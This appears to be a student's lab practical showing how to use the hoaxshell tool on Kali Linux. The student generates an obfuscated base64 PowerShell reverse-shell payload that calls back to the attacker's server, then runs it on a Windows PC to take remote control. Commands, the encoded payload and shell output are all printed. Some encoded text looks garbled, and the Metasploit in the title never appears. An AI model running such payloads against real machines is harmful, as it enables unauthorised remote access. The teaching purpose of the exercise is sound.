

# Practical no 10

- Exploiting with Metasploit (Kali Linux)

Open kali linux in virtual machine  
Passing the git clone url and change the directory using cd hoaxshell and then installing requirements.txt

```
kali@MAC24: ~/hoaxshell
This is a minimal installation of Kali Linux, you likely want to install supplementary tools. Learn how:
=> https://www.kali.org/docs/troubleshooting/common-minimum-setup/

(Run: "touch ~/.hushlogin" to hide this message)
(kali@MAC24)-[~]
$ git clone https://github.com/t3l3machus/hoaxshell.git
git: 'clone https://github.com/t3l3machus/hoaxshell.git' is not a git command. See 'git --help'.

(kali@MAC24)-[~]
$ git clone https://github.com/t3l3machus/hoaxshell.git
fatal: destination path 'hoaxshell' already exists and is not an empty directory.

(kali@MAC24)-[~]
$ cd hoaxshell

(kali@MAC24)-[~/hoaxshell]
$ pip3 install -r requirements.txt
Defaulting to user installation because normal site-packages is not writeable
Collecting gnu readline==8.1.2 (from -r requirements.txt (line 1))
  Using cached gnu readline-8.1.2-cp311-cp311-manylinux_2_17_x86_64.whl.metadata (9.8 kB)
Collecting ipython==8.4.0 (from -r requirements.txt (line 2))
  Using cached ipython-8.4.0-py3-none-any.whl.metadata (4.9 kB)
Collecting pyperclip==1.8.2 (from -r requirements.txt (line 3))
  Using cached pyperclip-1.8.2.tar.gz (20 kB)
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Installing backend dependencies ... done
  Preparing metadata (pyproject.toml) ... done
Collecting backcall (from ipython==8.4.0->-r requirements.txt (line 2))
  Using cached backcall-0.2.0-py2.py3-none-any.whl.metadata (2.0 kB)
Collecting decorator (from ipython==8.4.0->-r requirements.txt (line 2))
  Using cached decorator-5.1.1-py3-none-any.whl.metadata (4.0 kB)
```

Check th ip using ifconfig command  
Copy the inet of eth0

```
~$ chmod +x hoaxshell.py
(kali@MAC24)-[~/hoaxshell]
$ ifconfig
> ifconfig
> ^C

(kali@MAC24)-[~/hoaxshell]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 172.19.106.227 netmask 255.255.240.0 broadcast 172.19.111.255
    inet6 fe80::215:5dff:fe99:b91 prefixlen 64 scopeid 0x2<link>
    ether 00:15:5d:99:0b:91 txqueuelen 1000 (Ethernet)
    RX packets 2263 bytes 5260711 (5.0 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 1775 bytes 150695 (147.1 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Type following command  
Python3 hoaxshell.py -s <paste your copied ip here >

```
kali@MAC24: ~/hoaxshell
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(kali@MAC24)-[~/hoaxshell]
$ python3 hoaxshell.py -s 172.19.106.227 -cm

HOAXSHELL
by t3l3machus

[Info] Generating reverse shell payload...
powershell -e 'JABzAD0A9JwAXdCAtgAuADEAQQAuADEAMAAZACUAMgAyAdCAdgAlADAQAQAuAcCAdwAkAGkAPQAnADUANQA1AGYAPMAyAGUAMwAtAGQAZAB1ADYAPMAuAGUANAAtAGQANMAyAG
QAYABADgANQAnADsAJABwAD0AJwBoAQHAdABwAD0ALwAvACcA0wAkAHYAPQBJAGUAdgBvAGsAZQAtAFcAZQBIAFIAZQBIxAHUAZQBIzAHQAIAAtAFUAcwB1AEIAYQBIzAGkAYwBQAGEAcgBzAGkAbg
BnACALQBIvAHIAAqAgACQAcAAkAHMALwA1ADEANQBMADAAMgB1ADcATAAtAEgAZQBhAGGAZQBIyAHMAIABAHAhAtgBYACBAGNAYADEAZAAtADcAYQAzADgATgA9ACQAAQBI9ADsAdwBoAGkAbAB1AC
AAkAAkAHQAcgB1AGUAHQBI7ACQAYMA9ACgASQBIuHYHwBtrAGUALQBXAGUAYgBSAGUAcgBQ1AGUAcwB8ACAAALQBIvAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAGUAZwAgACBAVQByAGkAIAAAkAHAAJA
BzACBAZABkAGIAIngAzAdgAZQABACALQBIAGUAYQBIAGUAcgBzACAAQAB7ACTAWAAtADYAPMAyAGQALQA3AGEAMwAUACIAPQAkAGhAFQApACUAcwBvAGUAdAB1AGUAdAA7AGkAZgAgACgA3AB1AC
kALQBIAGUAIANAkEABwBwAGUAIwBpCAkAwkAH1APQBIgGUAeAgkAQVwHgACBAQBIyAHIAkwbByREEYABwBAGkABwBwJCAALwB8AGkACAgkACBAQBIyAHIAkwbByAFYAYQBIyAGkAYQBI1AGwAZQ
AgAGUAdwBkAHIAAPQBI9AHUAdAA7AFMAABYAGkABgBnACALQBI9AGUAcgB1AHQA7wB1AGsAZQBIjAHQAIAAAkAHIAIAwAkAHQAPQBIjAGUAdgBvAGsAZQAtAFcAZQBIAFIAZQBIxAHUAZQBIzAHQAIAAAkAF
UACgBpACAA3ABwACQAcwAvAQANMAyAGYAGABDgANQACBAtQBI1AHQAABvAGQAIABQAEBAUwBUACALQBI1AGUAYQBIAGUAcgBzACAAQAB7ACTAWAAtADYAPMAyAGQALQA3AGEAMwAHACIAPQ
AkAGkAFQAgACBAQBI9AGkABgBnACgA3AB1ACsAJABYACkAFQAgAHMAbAB1AGUAcAgADAALgAIAHBA
Copied to clipboard!
[Info] Type "help" to get a list of the available prompt commands.
[Info] Http Server started on port 8080.
[Important] Awaiting payload execution to initiate shell session...
hoaxshell>
```

Here generated the payload

Paste this payload into windows powershell

```
PS C:\Users\INDIA> powershell -e JABzAD8AJwAxAdcAMgAuADEAQQuADEAMAA2AC4AMgAyADcA0gA4ADAA0AAwACC0wAkAGkAPQAnADUAMQA1AGYAMAAyAGUANwAtAGQAZAB1ADYAMm4AGUANAAAtAGQAMAAyAGQAYgA8ADgANQAnADsAJABwAD8AJwBoAHQAdABmADoALwAvACC0wAkAHYAPQBjAG4AdgBvAGsAZQAtAFcAZQB1AFIAZQBxAHUAZQBzAHQAIAAtAFUAcwBLAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBVAHIAaQAQACQAcAAkAHMALwA1ADEANQBMADAAMgBLADcA1AAtAEgAZQBhAGQAZQBzAHMAIABAAsAIgBYAC8ANGAyADEAZAAtADcAYQAZAdgA1IgA9ACQAQ89ADsAdwBoAGkAbAB1ACAAKAAkAHQAcgB1AGUAKQB7ACQAYwA9ACgASQBwAHYAbwBtAGUALQBxAGUAYgBSAGUAcQB1AGUAcwB8ACAALQBVAHMAZQBCEAcwBpAGMAUABhAHIAcwbPAG4AZwAgAC8AVQByAGkAIAAkAHAAJABzAC8AZABkAHIAngAzAdgAZQ8ACAALQB1AGUAYQBhAGUAcgBzACAAQAB7ACTAWAAtADYAMgAxAGQALQA3AGEAMwAHACIAPQAKAGkAFQApAC4AQwBvAG4AdABLAG4AdAA7AGkAZgAgACgAJAB7jACAAALQB8UAGUAIAnAE4AbwBuAGUAJwApACAAEwAkAHIAPIQBpAGUAEAAgACQAYwAgAC8ARQByAHIAbwByAEeAYwB8AGkAbwBuACAuUwB8AG8AcAAgAC8ARQByAHIAbwByAFYAYQByAGkAYQB1AGwAZQAgAGUAWAAkAHIAPIQB8PAHUAdAAtAFMAdABYAGkAbgBnACAALQBjAG4AcAB1AHQATwB1AGoAZQBzAHQAIAAkAHIAOwAkAHQAPQBjAG4AdgBvAGsAZQAtAFcAZQB1AFIAZQBxAHUAZQBzAHQAIAAEAFUAcgBpACAAJABwACQAcwAvAGQAMAAyAGQAYgA8ADgANQAgAC8ATQB1AHQAABvAGQATABQAE8AUwBUACAALQB1AGUAYQBhAGUAcgBzACAAQAB7ACTAWAAtADYAMgAxAGQALQA3AGEAMwAHACIAPQAKAGkAFQAgAC8AQ8BvAGQAcgAgCgAJABLACsAJABYACkAFQAgAHMABABLAGUAcAAgADAALg4UAH8A
```

After that our powershell open in kali linux

Here we get the date

```
PS C:\Users\INDIA > get date
The term 'get' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path w
as included, verify that the path is correct and try again.

PS C:\Users\INDIA > get-date
Thursday, April 4, 2024 12:35:30 PM

PS C:\Users\INDIA > |
```

Checking desktop there is no practical folder on desktop

```
kali@MAC24: ~/hoaxshell  Windows PowerShell
PS C:\Users\INDIA > cd Desktop
PS C:\Users\INDIA\Desktop > ls
Directory: C:\Users\INDIA\Desktop

Mode                LastWriteTime         Length Name
----                -
d-----          3/20/2024 11:20 AM                Desktop
d-----          2/2/2024 12:20 PM                Web Development
-a-----          3/26/2024 5:05 PM                2398 .RData
-a-----          3/26/2024 5:05 PM                14252 .Rhistry
-a-----          1/23/2024 11:18 AM                2360 Arduino IDE.lnk
-a-----          1/19/2024 12:33 PM                1857 Cain.lnk
-a-----          2/27/2024 10:51 AM                2710 Chrome Remote Desktop.lnk
-a-----          1/2/2024 1:29 PM                10715 demo.xlsx
-a-----          1/20/2024 10:37 AM                1074 Dev-C++.lnk
-a-----          2/17/2023 11:13 AM                50433966 Dev-Cpp 5.11 TDM-GCC 4.9.2 Setup.exe
-a-----          1/19/2024 12:45 PM                35 gautam16,dharmesh24,yuvi43,harsh123.txt
-a-----          8/22/2023 8:59 AM                2212 Go To Database Home Page.lnk
-a-----          1/10/2024 4:33 PM                2558 jupyter.lnk
-a-----          6/20/2023 9:32 AM                2752 Microsoft Word 2010.lnk
-a-----          3/26/2024 11:14 AM                2386 MongoDBCompass.lnk
-a-----          3/21/2024 5:02 PM                2399 Person 1 - Chrome.lnk
-a-----          2/13/2024 4:28 PM                341 practical 1
-a-----          3/30/2024 4:51 PM                0 practical 7.py
-a-----          1/10/2024 4:33 PM                2572 SageMath 9.0 Notebook.lnk
-a-----          1/10/2024 4:33 PM                2518 SageMath 9.0.lnk
-a-----          8/24/2023 8:46 AM                1443 Visual Studio Code.lnk
-a-----          7/1/2023 12:16 PM                2457 WPS Office.lnk
-a-----          2/29/2024 2:55 PM                2549 WPS PDF.lnk
```

Then creating one folder on desktop

Here we can see practical folder on our desktop

```
kali@MAC24: ~/hoaxshell  Windows PowerShell
PS C:\Users\INDIA\Desktop > mkdir practical
Directory: C:\Users\INDIA\Desktop

Mode                LastWriteTime         Length Name
----                -
d-----          4/4/2024 12:37 PM                practical

PS C:\Users\INDIA\Desktop > ls
Directory: C:\Users\INDIA\Desktop

Mode                LastWriteTime         Length Name
----                -
d-----          3/20/2024 11:20 AM                Desktop
d-----          4/4/2024 12:37 PM                practical
d-----          2/2/2024 12:20 PM                Web Development
-a-----          3/26/2024 5:05 PM                2398 .RData
-a-----          3/26/2024 5:05 PM                14252 .Rhistry
-a-----          1/23/2024 11:18 AM                2360 Arduino IDE.lnk
-a-----          1/19/2024 12:33 PM                1857 Cain.lnk
-a-----          2/27/2024 10:51 AM                2710 Chrome Remote Desktop.lnk
-a-----          1/2/2024 1:29 PM                10715 demo.xlsx
-a-----          1/20/2024 10:37 AM                1074 Dev-C++.lnk
-a-----          2/17/2023 11:13 AM                50433966 Dev-Cpp 5.11 TDM-GCC 4.9.2 Setup.exe
-a-----          1/19/2024 12:45 PM                35 gautam16,dharmesh24,yuvi43,harsh123.txt
-a-----          8/22/2023 8:59 AM                2212 Go To Database Home Page.lnk
-a-----          1/10/2024 4:33 PM                2558 jupyter.lnk
-a-----          6/20/2023 9:32 AM                2752 Microsoft Word 2010.lnk
-a-----          3/26/2024 11:14 AM                2386 MongoDBCompass.lnk
-a-----          3/21/2024 5:02 PM                2399 Person 1 - Chrome.lnk
-a-----          2/13/2024 4:28 PM                341 practical 1
-a-----          3/30/2024 4:51 PM                0 practical 7.py
-a-----          1/10/2024 4:33 PM                2572 SageMath 9.0 Notebook.lnk
-a-----          1/10/2024 4:33 PM                2518 SageMath 9.0.lnk
```